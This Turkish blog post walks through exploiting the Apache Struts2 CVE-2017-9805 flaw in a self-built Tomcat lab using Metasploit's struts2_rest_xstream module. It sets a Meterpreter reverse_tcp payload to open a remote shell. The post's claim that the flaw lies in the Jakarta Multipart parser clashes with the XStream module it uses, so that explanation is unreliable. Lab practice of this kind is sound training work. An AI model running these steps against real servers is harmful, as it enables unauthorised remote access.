Genel, Slider, Web Güvenliği

Apache Struts2 Zaafiyetini Sömürme İşlemleri

Yazılarımı Paylaşabilirsiniz
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  

APACHE STRUTS2 ZAAFİYETİ

En son bildiğiniz gibi EQUIFAX’ın da sisteminde bulunan ve şimdi bahsedecek olacağımız ve yaklaşık olarak 143 milyon kişinin bilgileri sızdırılması ile yayınlanan CVE-2017-9805 kodu ile tanımlanan ve Warflop adlı yayıncı tarafından exploit exploit.db sitesinde 09.06.2017 tarihinde yayınlanmıştır.

Dipnot:Yayınlanmış olan exploit sadece 2.5 < 2.5.12 arasındaki versiyonlarda çalışmaktadır.

https://www.exploit-db.com/exploits/42627/

(CVE – Common Vulnerabilities and Exposures)

İlk Başta Zaafiyetini Dile Getirdik Ama Hiçbişey Anlamadık. Apache Struts Nedir ?

Apache Struts açık kaynaklı REST, AJAX ve JSON destekleyen modern Java web uygulamaları geliştirmek için kullandığımız bir MVC (Model-View-Controller) framework’üdür.

Peki Bu Zaafiyet Neden Kaynaklanıyor ?

Apache Struts’ın Jakarta Multipart parser’ından kaynaklanan bu açıklık parser üzerinden dosya yüklenirken ortaya çıkıyor ve uzaktan kod çalıştırmaya olanak veriyor.(Remote Code Execution)

Bizde bu zaafiyeti sömürelim diyelim ve  işlemlere başlayalım.

İlk başta herhangi bir sisteme TOMCAT7 kurduk ve ardından default olarak gelen 8080 portu ile giriş yapıyoruz.

Sonrasında ise yaklaşık olarak sağ üst kısımda görüntülenmekte olan “Manager App” kısmına giriş yapıyoruz.

Gerekli zaafiyeti barındırmakta olan struts2-rest-showcase adlı eklentiyi yüklememiz gerekiyor ( https://www.exploit-db.com/apps/6e57891b624331399e1b14b0e0164062-struts-2.5.10-all.zip) .Bunun için ilk başta sol alt kısımda bulunan .war uzantılı yere tıklıyoruz ve ardından açılan dosya yöneticimizden gerekli zaafiyetin olduğu struts2-rest-showcase.war adlı uzantıyı seçiyoruz ve ardından sunucuya yükleme işlemini başlatmak için “Deploy” butonuna basıyoruz.

Yükleme işlemi bittikten sonra “Applications” kısmında en altta yüklenmiş olduğunu görüyoruz.

Ve ardından hemen otomatik olarak başladığını farkediyoruz. Yani zafiyetli eklenti sisteme entegre edildikten hemen sonra etkileşime geçiyor.

Eklentiye tıkladığımız zaman bizi “Orders” adlı bir sayfa karşılıyor.Sayfaya baktığımız zaman kurulu olarak gelen 3 kullanıcı ile karşılaştık.

 

Gerekli eklentinin yüklendiğini kontrol ettiğimize göre artık sömürme işlemine başlayabiliriz.

İlk olarak Metasploit adlı aracımızı çalıştırıyoruz.Aracınızın DB’si güncel ise zaten sisteminizde entegre olmuştur.Fakat güncel değil ise updatedb komutunu kullanarak db’yi güncelleyebilirsiniz. Kullanacağımız exploiti seçmek için use exploit/multi/http/struts2_rest_xstream komutunu yazıyoruz.

Ve ardından uzaktan kod çalıştırmak için kullanacağımız payload ı bulup komutunu yazıyoruz.

set PAYLOAD Linux/x86/meterpreter/reverse_tcp

Show options komutu ile yapılandırmamız için gerekli ayarlar geliyor.

Uzaktan erişmekteye çalıştığımız olan sisteminin ip bilgilerini öğrenmek için ifconfig komutu ile gerekli IP adresi bilgisini öğreniyoruz.

Ve ardından uzaktan erişim için kendi IP adresimizide ekliyoruz.

Ve ardından exploit edeceğimiz sistemi tanımlıyoruz.

Devamında sömürülecek olan IP adresinden olan sonraki kısımın adresini giriyoruz.

Gerekli işlemleri son bir kez kontrol ediyoruz.

Ve ardından exploit komutu ile işlemimize başlıyoruz.

Meterpretere sistemimizi düşürdük “Shell” komutunu çalıştırıp artık rahatça komutlarımızı yazabiliriz.

Struts2 zaafiyetli kurulu olarak gelen Struts S2-052 vulnerability adlı labı https://pentesterlab.com/exercises/s2-052 adresinden indirebilirsiniz.

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir